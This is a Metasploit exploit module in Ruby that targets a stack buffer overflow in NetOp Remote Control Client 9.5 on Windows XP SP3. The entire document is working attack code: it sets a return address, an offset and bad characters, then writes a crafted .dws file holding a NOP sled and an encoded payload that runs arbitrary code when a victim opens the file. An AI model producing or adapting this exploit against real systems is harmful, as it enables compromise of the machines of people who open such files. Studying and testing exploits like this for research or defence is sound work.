## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'NetOp Remote Control Client 9.5 Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5. When opening a .dws file containing a specially crafted string longer then 520 characters will allow an attacker to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ruben Alejandro "chap0"', ], 'References' => [ [ 'OSVDB', '72291' ], [ 'EDB', '17223' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true' }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, 'StackAdjustment' => -3500 }, 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x20d6c32c, # push esp # ret - nrp.DLL 'Offset' => 524 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 28 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']), ], self.class) end def exploit buffer = rand_text(target['Offset']) buffer << [target.ret].pack('V') buffer << make_nops(30) buffer << payload.encoded file_create(buffer) end end